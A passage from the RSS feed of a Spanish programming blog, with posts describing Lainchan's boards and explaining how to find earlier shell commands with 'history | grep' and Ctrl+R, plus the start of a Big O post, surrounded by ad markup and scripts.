display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Este board está totalmente especializado en programación, hay hilos de Python, Javascript, así como también de Lua, Rust, Scala y otros lenguajes menos populares. Frecuentemente se comparten tutoriales y material para aprender sobre el tema. Ocasionalmente hay personas pidiendo consejos sobre algunos tópicos bastante particulares.&lt;/p&gt;&#xA;&lt;h3 id=&#34;sec&#34;&gt;/sec/&lt;/h3&gt;&#xA;&lt;p&gt;En este board el tema es la seguridad informática y todo lo relacionado. A veces hay personas que publican vulnerabilidades de sitios web pequeños que han descubierto al curiosear por su código.&lt;/p&gt;&#xA;&lt;h3 id=&#34;heading-1&#34;&gt;/Ω/&lt;/h3&gt;&#xA;&lt;p&gt;Aquí se discute sobre tecnología en general, desde diferentes SO (BSD, GNU/Linux, Windows, etc.), monedas digitales, hasta implantes con capacidad de almacenar información.&lt;/p&gt;&#xA;&lt;h3 id=&#34;layer&#34;&gt;/layer/&lt;/h3&gt;&#xA;&lt;p&gt;Este board es bastante peculiar, pues no se permite el uso de texto, solo imágenes, toda comunicación se lleva a cabo utilizando técnicas esteganográficas, así es, texto escondido en imágenes. Navegar por este board te hará sentir como si estuvieras en una novela de Dan Brown.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;la-pequena-lain-chan&#34;&gt;La pequeña Lain-chan&lt;/h2&gt;&#xA;&lt;p&gt;El nombre del sitio web es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.lainchan.org&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Lain chan&lt;/a&gt;&#xA;, nombrado así por la serie llamada Serial Experiments Lain; una de las series de culto e ícono representativo del cyberpunk. Ten en cuenta que, como la mayor parte del contenido de internet, el sitio está en inglés, por lo que probablemente no se te reciba bien si intentas comunicarte en una lengua diferente a esta.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Muchas de las personas que pasan gran parte de su día en contacto con internet, ya sea por placer o por trabajo, han llegado eventualmente a terminar en un image board, generalmente en el más popular que existe entre personas angloparlantes: 4chan&lt;/p&gt;&#xA;&lt;p&gt;4 chan tiene una sección de tecnología, llamada /g/, donde generalmente hay hilos de programación, desarrollo de software, GNU/Linux y otros temas que pueden resultar bastante interesantes, sin embargo la mayoría de ellos tienen una calidad que deja bastante que desear, llenos de trolls y usuarios con mucho desconocimiento sobre el tema. En resumen: no sirven con otro propósito que no sea el mero entretenimiento.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo encontrar un comando ejecutado en GNU Linux?</title>
      <link>https://coffeebytes.dev/es/linux/como-encontrar-un-comando-ejecutado-anteriormente-en-gnu-linux/</link>
      <pubDate>Sun, 01 Sep 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/como-encontrar-un-comando-ejecutado-anteriormente-en-gnu-linux/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;A veces ejecutamos comandos que resuelven una tarea muy específica en nuestro sistema. Puede ser que hayamos hecho una búsqueda de un archivo usando expresiones regulares o quizás accedimos a un servidor por medio de ssh y ya no recordamos la dirección IP. Volver a crear la expresión regular desde cero puede consumir mucho tiempo y quizás volver a encontrar la IP también puede consumir más tiempo que si simplemente pudiéramos recuperar el comando. Podemos encontrar un comando ejecutado anteriormente en GNU/Linux de manera sencilla, aquí te expongo como.&lt;/p&gt;&#xA;&lt;h2 id=&#34;encontrar-un-comando-ejecutado-con-history-y-grep&#34;&gt;Encontrar un comando ejecutado con history y grep&lt;/h2&gt;&#xA;&lt;p&gt;Una manera de hacerlo sería efectuar una búsqueda de la parte del comando que recordamos en el historial del comando. Esto puede hacerse de la siguiente manera:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;history&lt;/span&gt; | grep &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;comando que buscamos&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El comando history nos mostrará la lista de comandos usados, el carácter pipe &amp;ldquo;|&amp;rdquo; redirigirá el resultado al comando grep, el cual buscará la cadena de texto que le específiquemos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;encontrar-un-comando-ctrl--r&#34;&gt;Encontrar un Comando CTRL + R&lt;/h2&gt;&#xA;&lt;p&gt;Hay otra manera aún más sencilla de efectuar esta búsqueda. Este método es una combinación de teclas que, a pesar de su sencillez y facilidad de uso, no son muy populares, incluso entre los usuarios regulares de entornos GNU/Linux.&lt;/p&gt;&#xA;&lt;p&gt;Primero abriremos una terminal, acto seguido presionaremos &lt;strong&gt;&lt;em&gt;CTRL + R&lt;/em&gt;&lt;/strong&gt;, esto modificará el cursor de la siguiente manera:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;reverse-i-search&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff5c57&#34;&gt;history&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Conforme presionemos las teclas irán apareciendo los comandos que coincidan con esa búsqueda. Si el comando que buscamos está en el archivo ~.history se mostrará al instante.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;A veces ejecutamos comandos que resuelven una tarea muy específica en nuestro sistema. Puede ser que hayamos hecho una búsqueda de un archivo usando expresiones regulares o quizás accedimos a un servidor por medio de ssh y ya no recordamos la dirección IP. Volver a crear la expresión regular desde cero puede consumir mucho tiempo y quizás volver a encontrar la IP también puede consumir más tiempo que si simplemente pudiéramos recuperar el comando. Podemos encontrar un comando ejecutado anteriormente en GNU/Linux de manera sencilla, aquí te expongo como.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>La notación Big O para análisis algorítmico</title>
      <link>https://coffeebytes.dev/es/linux/la-notacion-big-para-analisis-algoritmico/</link>
      <pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/la-notacion-big-para-analisis-algoritmico/</guid>
      
      <category>linux</category>
      
      <category>algoritmos</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Amo la astrofísica y trato de estar al tanto de los nuevos descubrimientos que suceden; ya sean cosas triviales, como el descubrimiento de un nuevo planeta; o significativas, como las hipotéticas esferas de Dyson que juran encontrar cada mes. Pero el descubrimiento de esta ocasión fue fantástico.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CU0Wp83Lo09&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CU0Wp83Lo09&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: 